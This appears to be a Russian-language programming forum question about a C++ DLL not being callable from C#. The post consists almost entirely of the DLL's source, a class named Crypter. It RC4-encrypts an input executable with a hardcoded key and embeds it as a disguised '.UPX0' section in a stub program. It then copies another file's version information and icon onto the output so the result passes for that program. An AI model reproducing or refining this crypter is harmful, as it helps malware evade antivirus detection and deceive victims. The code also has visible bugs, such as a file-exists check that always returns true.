DLL компилируется, но не вызывается в приложении C#

#define _CRT_SECURE_NO_WARNINGS
 
#include <Windows.h>
#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <fstream>
 
#pragma region IconStruct
#pragma pack(push, 2)
__declspec(dllexport) typedef struct
    {
        WORD Reserved1;
        WORD ResourceType;
        WORD ImageCount;
        BYTE Width;
        BYTE Height;
        BYTE Colors;
        BYTE Reserved2;
        WORD Planes;
        WORD BitsPerPixel;
        DWORD ImageSize;
        WORD ResourceID;
    } GROUPICON;
#pragma pack(pop)
#pragma endregion IconStruct
 
    class __declspec(dllexport) Crypter {
    private:
        char InputFile[MAX_PATH];
        char IconFile[MAX_PATH];
        char VersionInput[MAX_PATH];
    public:
 
        void set_InputFilePath(char * c) {
            memcpy(InputFile, c, MAX_PATH);
        }
 
        void set_IconFilePath(char * c) {
            memcpy(IconFile, c, MAX_PATH);
        }
 
        void set_VersionInputPath(char * c) {
            memcpy(VersionInput, c, MAX_PATH);
        }
 
        DWORD CalcAlignedSize(DWORD size, DWORD alignment)
        {
            DWORD alignedSize;
            if (size % alignment == 0)
            {
                alignedSize = size;
            }
            else
            {
                alignedSize = size / alignment;
                ++alignedSize;
                alignedSize = alignedSize * alignment;
            }
 
            return alignedSize;
        }
 
        bool AddSection(LPSTR lpFileName, char * sectionName, LPBYTE lpSection, DWORD dwSectionSize, char * newName)
        {
            HANDLE hOriginalFile = CreateFile(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (hOriginalFile == INVALID_HANDLE_VALUE)
            {
                return false;
            }
 
            DWORD dwFileSize = GetFileSize(hOriginalFile, NULL);
            if (dwFileSize == INVALID_FILE_SIZE)
            {
                CloseHandle(hOriginalFile);
                return false;
            }
 
            LPBYTE lpBuffer = (LPBYTE)malloc(dwFileSize);
 
            DWORD dwNumberOfBytesRead = 0;
            ReadFile(hOriginalFile, lpBuffer, dwFileSize, &dwNumberOfBytesRead, NULL);
 
            PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)lpBuffer;
            if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
                return false;
 
            PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)(lpBuffer + pImageDosHeader->e_lfanew);
            if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
                return false;
 
            PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
 
            if (pImageNtHeaders->OptionalHeader.SizeOfHeaders - (pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER))) < 0)
            {
                free(lpBuffer);
                CloseHandle(hOriginalFile);
                return false;
            }
 
            DWORD originalSizeOfImage = pImageNtHeaders->OptionalHeader.SizeOfImage;
 
            DWORD originalSizeOfHeaders = pImageNtHeaders->OptionalHeader.SizeOfHeaders;
 
            WORD originalNumberOfSections = pImageNtHeaders->FileHeader.NumberOfSections;
 
            DWORD pointerToLastSection = 0;
 
            DWORD sizeOfLastSection;
 
            DWORD virtualAddressOfLastSection;
 
            DWORD virtualSizeOfLastSection;
 
            for (int i = 0; i != pImageNtHeaders->FileHeader.NumberOfSections; ++i)
            {
                if (pointerToLastSection < pImageSectionHeader[i].PointerToRawData)
                {
                    pointerToLastSection = pImageSectionHeader[i].PointerToRawData;
                    sizeOfLastSection = pImageSectionHeader[i].SizeOfRawData;
                    virtualAddressOfLastSection = pImageSectionHeader[i].VirtualAddress;
                    virtualSizeOfLastSection = pImageSectionHeader[i].Misc.VirtualSize;
                }
            }
 
            IMAGE_SECTION_HEADER newImageSectionHeader;
 
            newImageSectionHeader.Misc.PhysicalAddress = dwSectionSize;
 
            newImageSectionHeader.Misc.VirtualSize = dwSectionSize;
 
            CopyMemory(&newImageSectionHeader.Name, (void*)sectionName, sizeof(newImageSectionHeader.Name));
 
            newImageSectionHeader.NumberOfLinenumbers = 0;
 
            newImageSectionHeader.NumberOfRelocations = 0;
 
            newImageSectionHeader.NumberOfLinenumbers = 0;
 
            newImageSectionHeader.NumberOfRelocations = 0;
 
            newImageSectionHeader.PointerToLinenumbers = 0;
 
            newImageSectionHeader.PointerToRawData = CalcAlignedSize(pointerToLastSection + sizeOfLastSection, pImageNtHeaders->OptionalHeader.FileAlignment);
 
            newImageSectionHeader.PointerToRelocations = 0;
 
            newImageSectionHeader.SizeOfRawData = CalcAlignedSize(dwSectionSize, pImageNtHeaders->OptionalHeader.FileAlignment);
 
            newImageSectionHeader.VirtualAddress = CalcAlignedSize(virtualAddressOfLastSection + virtualSizeOfLastSection, pImageNtHeaders->OptionalHeader.SectionAlignment);
 
            newImageSectionHeader.Characteristics = IMAGE_SCN_MEM_READ;
 
            ++pImageNtHeaders->FileHeader.NumberOfSections;
 
            pImageNtHeaders->OptionalHeader.SizeOfHeaders = CalcAlignedSize(pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER)), pImageNtHeaders->OptionalHeader.FileAlignment);
 
            DWORD newSizeOfImage = pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER));
 
            for (int i = 0; i != originalNumberOfSections; ++i)
            {
                newSizeOfImage += CalcAlignedSize(pImageSectionHeader[i].Misc.VirtualSize, pImageNtHeaders->OptionalHeader.SectionAlignment);
            }
 
            newSizeOfImage += CalcAlignedSize(newImageSectionHeader.Misc.VirtualSize, pImageNtHeaders->OptionalHeader.SectionAlignment);
 
            newSizeOfImage = CalcAlignedSize(newSizeOfImage, pImageNtHeaders->OptionalHeader.SectionAlignment);
 
            pImageNtHeaders->OptionalHeader.SizeOfImage = newSizeOfImage;
 
            pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
 
            pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
 
            HANDLE hUpdatedFile = CreateFile(newName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL);
 
            if (hUpdatedFile == INVALID_HANDLE_VALUE)
            {
                free(lpBuffer);
                CloseHandle(hOriginalFile);
                return false;
            }
 
            DWORD dwNumberOfBytesWritten;
            WriteFile(hUpdatedFile, lpBuffer, originalSizeOfHeaders, &dwNumberOfBytesWritten, NULL);
 
            SetFilePointer(hUpdatedFile, pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (originalNumberOfSections*sizeof(IMAGE_SECTION_HEADER)), NULL, FILE_BEGIN);
            WriteFile(hUpdatedFile, (LPVOID)&newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER), &dwNumberOfBytesWritten, NULL);
 
            LPBYTE sectionsData = (LPBYTE)malloc(originalSizeOfImage - originalSizeOfHeaders);
 
            SetFilePointer(hOriginalFile, pImageNtHeaders->OptionalHeader.SizeOfHeaders, NULL, FILE_BEGIN);
            ReadFile(hOriginalFile, sectionsData, originalSizeOfImage - originalSizeOfHeaders, &dwNumberOfBytesRead, NULL);
 
            SetFilePointer(hUpdatedFile, pImageNtHeaders->OptionalHeader.SizeOfHeaders, NULL, FILE_BEGIN);
            WriteFile(hUpdatedFile, sectionsData, originalSizeOfImage - originalSizeOfHeaders, &dwNumberOfBytesWritten, NULL);
 
            free(sectionsData);
 
            SetFilePointer(hUpdatedFile, newImageSectionHeader.PointerToRawData, NULL, FILE_BEGIN);
            WriteFile(hUpdatedFile, lpSection, dwSectionSize, &dwNumberOfBytesWritten, NULL);
 
            CloseHandle(hUpdatedFile);
 
            free(lpBuffer);
 
            CloseHandle(hOriginalFile);
 
            return true;
        }
 
        void CopyVersionInfo(char * From, char * To)
        {
 
            HMODULE hFrom = NULL;
            HRSRC hRsrc = NULL;
            HANDLE hUpdateRes = NULL;
 
            hFrom = LoadLibraryEx(From, NULL, LOAD_LIBRARY_AS_DATAFILE);
 
            hUpdateRes = BeginUpdateResource(To, FALSE);
 
            for (DWORD i = 0; i < 1050; i++)
            {
 
                hRsrc = FindResource(hFrom, MAKEINTRESOURCE(i), RT_VERSION);
                if (hRsrc != NULL)
                {
                    if (!UpdateResource(hUpdateRes, RT_VERSION, MAKEINTRESOURCE(i), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), LockResource(LoadResource(hFrom, hRsrc)), SizeofResource(hFrom, hRsrc)))
                    {
                        break;
                    }
                }
 
            }
 
            EndUpdateResource(hUpdateRes, FALSE);
            FreeLibrary(hFrom);
 
        }
 
        VOID RC4(BYTE * bytes, DWORD sizeOfBytes, CHAR * key, DWORD sizeOfKey)
        {
            DWORD a = 0, b = 0;
            BYTE s[256], swap;
 
            for (int i = 0; i < 256; i++) s[i] = i;
            for (int i = 0; i < 256; i++)
            {
                b = (b + s[i] + key[i % sizeOfKey]) % 256;
                swap = s[a];
                s[a] = s[b];
                s[b] = swap;
            }
            for (DWORD i = 0; i < sizeOfBytes; i++)
            {
                a = (a + 1) % 256;
                b = (b + s[a]) % 256;
                swap = s[a];
                s[a] = s[b];
                s[b] = swap;
                bytes[i] ^= s[(s[a] + s[b]) % 256];
            }
 
        }
 
        void AddIcon(char * ExecutableFile, char * IconFile)
        {
            HANDLE hWhere = BeginUpdateResource(ExecutableFile, FALSE);
 
            char * buffer;
            long buffersize;
            int hFile;
 
            hFile = _open(IconFile, O_RDONLY | O_BINARY);
            if (hFile == EOF)
            {
                return;
            }
 
            buffersize = _filelength(hFile);
            buffer = (char*)malloc(buffersize);
            _read(hFile, buffer, buffersize);
            _close(hFile);
 
            UpdateResource(hWhere, RT_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), (buffer + 22), buffersize - 22);
 
            GROUPICON grData;
 
            grData.Reserved1 = 0;
 
            grData.ResourceType = 1;
 
            grData.ImageCount = 1;
 
            grData.Width = 32;
 
            grData.Height = 32;
 
            grData.Colors = 0;
 
            grData.Reserved2 = 0;
 
            grData.Planes = 2;
 
            grData.BitsPerPixel = 32;
 
            grData.ImageSize = buffersize - 22;
 
            grData.ResourceID = 1;
 
            UpdateResource(hWhere, RT_GROUP_ICON, "MAINICON", MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), &grData, sizeof(GROUPICON));
 
            delete buffer;
 
            EndUpdateResource(hWhere, FALSE);
 
        }
 
        void ReAlignPE(char * FilePath, DWORD AmounToAdd)
        {
            DWORD dwBytesRead = 0;
            HANDLE hFile = NULL;
            DWORD dwFileSize = 0;
            DWORD dwNumofSec = 0;
 
            hFile = CreateFileA(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 
            dwFileSize = GetFileSize(hFile, NULL);
 
            BYTE *pByte = new BYTE[dwFileSize];
 
            ReadFile(hFile, pByte, dwFileSize, &dwBytesRead, NULL);
 
            CloseHandle(hFile);
 
            IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pByte;
 
            IMAGE_NT_HEADERS *pNTHeaders = (IMAGE_NT_HEADERS *)(pDosHeader->e_lfanew + pByte);
 
            IMAGE_OPTIONAL_HEADER *pOptHeader = (IMAGE_OPTIONAL_HEADER*)(pByte + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER));
 
            IMAGE_SECTION_HEADER *pSectionHeaders = (IMAGE_SECTION_HEADER*)((BYTE*)pOptHeader + sizeof(IMAGE_OPTIONAL_HEADER));
 
            pSectionHeaders[pNTHeaders->FileHeader.NumberOfSections - 1].SizeOfRawData = pSectionHeaders[pNTHeaders->FileHeader.NumberOfSections - 1].SizeOfRawData + AmounToAdd;
 
            CopyMemory(pByte + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER), pSectionHeaders, sizeof(IMAGE_SECTION_HEADER));
 
            hFile = CreateFileA(FilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
            WriteFile(hFile, pByte, dwFileSize, &dwBytesRead, NULL);
 
            CloseHandle(hFile);
 
        }
 
        bool fexists(const char * filename)
        {
            std::ifstream ifile(filename);
            return true;
        }
 
        void CryptFile(/*HWND hwnd*/)
        {
 
            if (fexists(InputFile) && fexists(VersionInput) && fexists(IconFile))
            {
                DWORD lpNumber = 0;
 
                HANDLE hFile = CreateFileA(InputFile, FILE_READ_ACCESS, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 
                DWORD FileSize = GetFileSize(hFile, NULL);
 
                LPVOID FileBytes = LocalAlloc(LMEM_FIXED, FileSize);
 
                ReadFile(hFile, FileBytes, FileSize, &lpNumber, NULL);
 
                CloseHandle(hFile);
 
                CHAR * rc4Key = "Ia3kkwRdIzPeq3OegK";
 
                DWORD rcKey_Length = lstrlen(rc4Key);
 
                RC4((BYTE*)FileBytes, FileSize, rc4Key, rcKey_Length);
 
                AddSection("Stub.exe", ".UPX0", (BYTE*)FileBytes, FileSize, "Done.exe");
 
                ReAlignPE("Done.exe", 0);
 
                CopyVersionInfo(VersionInput, "Done.exe");
 
                AddIcon("Done.exe", IconFile);
            }
            else
            {
                //MessageBoxA(hwnd, "Make sure all files exists!", "Error", MB_OK | MB_ICONEXCLAMATION);
            }
        }
    };
 
    __declspec(dllexport) Crypter* Crypter_Create() { return new Crypter(); }
    __declspec(dllexport) void Crypter_setIconFilePath(Crypter* pFoo, char * c) { pFoo->set_IconFilePath(c); }
    __declspec(dllexport) void Crypter_setInputFilePath(Crypter* pFoo, char * c) { pFoo->set_InputFilePath(c); }
    __declspec(dllexport) void Crypter_setVersionFilePath(Crypter* pFoo, char * c) { pFoo->set_VersionInputPath(c); }
    __declspec(dllexport) void Crypter_Crypt(Crypter* pFoo) { pFoo->CryptFile(); }
    __declspec(dllexport) void Crypter_Delete(Crypter* pFoo) { delete pFoo; }